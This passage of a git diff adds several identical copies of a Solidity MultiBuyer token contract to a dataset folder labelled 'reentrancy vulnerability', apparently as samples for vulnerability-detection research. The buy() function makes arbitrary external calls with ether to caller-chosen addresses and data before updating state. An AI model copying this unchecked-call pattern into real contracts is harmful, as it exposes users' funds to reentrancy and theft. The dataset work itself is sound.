vulnerability/32480.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32480.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32481.sol b/smart_contract_dataset/reentrancy vulnerability/32481.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32481.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32700.sol b/smart_contract_dataset/reentrancy vulnerability/32700.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32700.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32701.sol b/smart_contract_dataset/reentrancy vulnerability/32701.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32701.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32710.sol b/smart_contract_dataset/reentrancy vulnerability/32710.sol new file mode 100644 index 